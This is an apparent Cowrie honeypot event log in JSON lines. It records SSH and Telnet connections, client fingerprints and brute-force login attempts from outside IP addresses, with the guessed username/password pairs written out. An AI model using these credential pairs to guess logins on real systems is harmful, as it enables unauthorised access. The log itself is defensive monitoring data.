{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:02.078040Z","src_ip":"176.65.132.254","session":"c30b84d97b87","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:02.334178Z","src_ip":"190.129.122.12","session":"b7e0f8fd38b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:02.503638Z","src_ip":"190.129.122.12","session":"69a7dc1c4237","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:02.508652Z","src_ip":"190.129.122.12","session":"b7e0f8fd38b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:02.895957Z","src_ip":"176.65.132.254","session":"c30b84d97b87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.064947843551636,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:02.921038Z","src_ip":"38.54.119.93","session":"4517d971e88b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.18371057510376,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:03.874637Z","src_ip":"62.210.97.77","session":"fa907e2350be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:03.980259Z","src_ip":"176.65.132.254","session":"c30b84d97b87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59746,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b0460d80cc6","protocol":"telnet","message":"New connection: 65.60.27.33:59746 (10.17.0.5:23) [session: 7b0460d80cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:05.277841Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54828,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b9ddad74d11","protocol":"ssh","message":"New connection: 176.65.132.254:54828 (10.17.0.5:22) [session: 4b9ddad74d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:06.271662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:06.276456Z","src_ip":"176.65.132.254","session":"4b9ddad74d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:06.361619Z","src_ip":"176.65.132.254","session":"4b9ddad74d11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":60556,"dst_ip":"159.203.135.109","dst_port":23,"session":"7679bea67149","protocol":"telnet","message":"New connection: 134.209.8.29:60556 (159.203.135.109:23) [session: 7679bea67149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:06.487286Z"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:06.606880Z","src_ip":"176.65.132.254","session":"4b9ddad74d11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52474,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bf40710b7ec","protocol":"telnet","message":"New connection: 62.210.97.77:52474 (10.17.0.5:23) [session: 6bf40710b7ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:07.268955Z"}
{"eventid":"cowrie.session.closed","duration":34.95202565193176,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:07.712476Z","src_ip":"62.210.97.77","session":"d88e94b94593","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:07.723944Z","src_ip":"176.65.132.254","session":"4b9ddad74d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.800732851028442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:07.779104Z","src_ip":"62.210.97.77","session":"fcd60b544bbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52478,"dst_ip":"10.17.0.5","dst_port":23,"session":"b66d05109867","protocol":"telnet","message":"New connection: 62.210.97.77:52478 (10.17.0.5:23) [session: b66d05109867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:07.943576Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54832,"dst_ip":"10.17.0.5","dst_port":22,"session":"e82ada1e8bfe","protocol":"ssh","message":"New connection: 176.65.132.254:54832 (10.17.0.5:22) [session: e82ada1e8bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:10.252638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:10.257300Z","src_ip":"176.65.132.254","session":"e82ada1e8bfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:10.343012Z","src_ip":"176.65.132.254","session":"e82ada1e8bfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48820,"dst_ip":"10.17.0.5","dst_port":23,"session":"db89b5788afe","protocol":"telnet","message":"New connection: 38.54.119.93:48820 (10.17.0.5:23) [session: db89b5788afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:10.410778Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46992,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbdcef5dcd8f","protocol":"telnet","message":"New connection: 62.210.97.77:46992 (10.17.0.5:23) [session: fbdcef5dcd8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:10.561769Z"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:10.596493Z","src_ip":"176.65.132.254","session":"e82ada1e8bfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":34720,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d12366bf423","protocol":"telnet","message":"New connection: 136.144.139.78:34720 (159.203.135.109:23) [session: 9d12366bf423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:11.458458Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:11.681130Z","src_ip":"176.65.132.254","session":"e82ada1e8bfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.10077118873596,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:12.572541Z","src_ip":"62.210.97.77","session":"aaf42932ff37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.286062240600586,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:13.255997Z","src_ip":"62.210.97.77","session":"cf27320b6ba0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":34728,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb618cbd73d1","protocol":"telnet","message":"New connection: 136.144.139.78:34728 (159.203.135.109:23) [session: fb618cbd73d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:13.624999Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52908,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ec71ce9f4f8","protocol":"ssh","message":"New connection: 176.65.132.254:52908 (10.17.0.5:22) [session: 0ec71ce9f4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:14.597502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:14.606329Z","src_ip":"176.65.132.254","session":"0ec71ce9f4f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:14.690697Z","src_ip":"176.65.132.254","session":"0ec71ce9f4f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:14.944487Z","src_ip":"176.65.132.254","session":"0ec71ce9f4f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.70124959945679,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:15.850602Z","src_ip":"62.210.97.77","session":"8076ca589b2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:16.074684Z","src_ip":"176.65.132.254","session":"0ec71ce9f4f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":13760,"dst_ip":"159.203.135.109","dst_port":22,"session":"c96327f2afb4","protocol":"ssh","message":"New connection: 152.32.189.59:13760 (159.203.135.109:22) [session: c96327f2afb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:16.102105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:16.107912Z","src_ip":"152.32.189.59","session":"c96327f2afb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:16.379116Z","src_ip":"152.32.189.59","session":"c96327f2afb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47000,"dst_ip":"10.17.0.5","dst_port":23,"session":"564083950f8e","protocol":"telnet","message":"New connection: 62.210.97.77:47000 (10.17.0.5:23) [session: 564083950f8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:16.403992Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47010,"dst_ip":"10.17.0.5","dst_port":23,"session":"632642ad23e7","protocol":"telnet","message":"New connection: 62.210.97.77:47010 (10.17.0.5:23) [session: 632642ad23e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:16.695095Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47018,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3adf8fe7c59","protocol":"telnet","message":"New connection: 62.210.97.77:47018 (10.17.0.5:23) [session: e3adf8fe7c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:16.703598Z"}
{"eventid":"cowrie.session.closed","duration":6.361893892288208,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:16.772565Z","src_ip":"38.54.119.93","session":"db89b5788afe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.50646471977234,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:16.946484Z","src_ip":"62.210.97.77","session":"306cce2d8069","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwerty123.","message":"login attempt [ubuntu/Qwerty123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:17.287244Z","src_ip":"152.32.189.59","session":"c96327f2afb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47020,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ed69f6672b1","protocol":"telnet","message":"New connection: 62.210.97.77:47020 (10.17.0.5:23) [session: 0ed69f6672b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:17.300770Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":43234,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a84bfc32db8","protocol":"ssh","message":"New connection: 103.189.235.176:43234 (159.203.135.109:22) [session: 4a84bfc32db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:17.785002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:17.790507Z","src_ip":"103.189.235.176","session":"4a84bfc32db8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47030,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfcb96165b60","protocol":"telnet","message":"New connection: 62.210.97.77:47030 (10.17.0.5:23) [session: bfcb96165b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:17.908683Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:18.031982Z","src_ip":"103.189.235.176","session":"4a84bfc32db8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47038,"dst_ip":"10.17.0.5","dst_port":23,"session":"618513eec3d6","protocol":"telnet","message":"New connection: 62.210.97.77:47038 (10.17.0.5:23) [session: 618513eec3d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:18.243396Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:18.508106Z","src_ip":"152.32.189.59","session":"c96327f2afb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52942,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfcd88861e9a","protocol":"ssh","message":"New connection: 176.65.132.254:52942 (10.17.0.5:22) [session: cfcd88861e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:18.772938Z"}
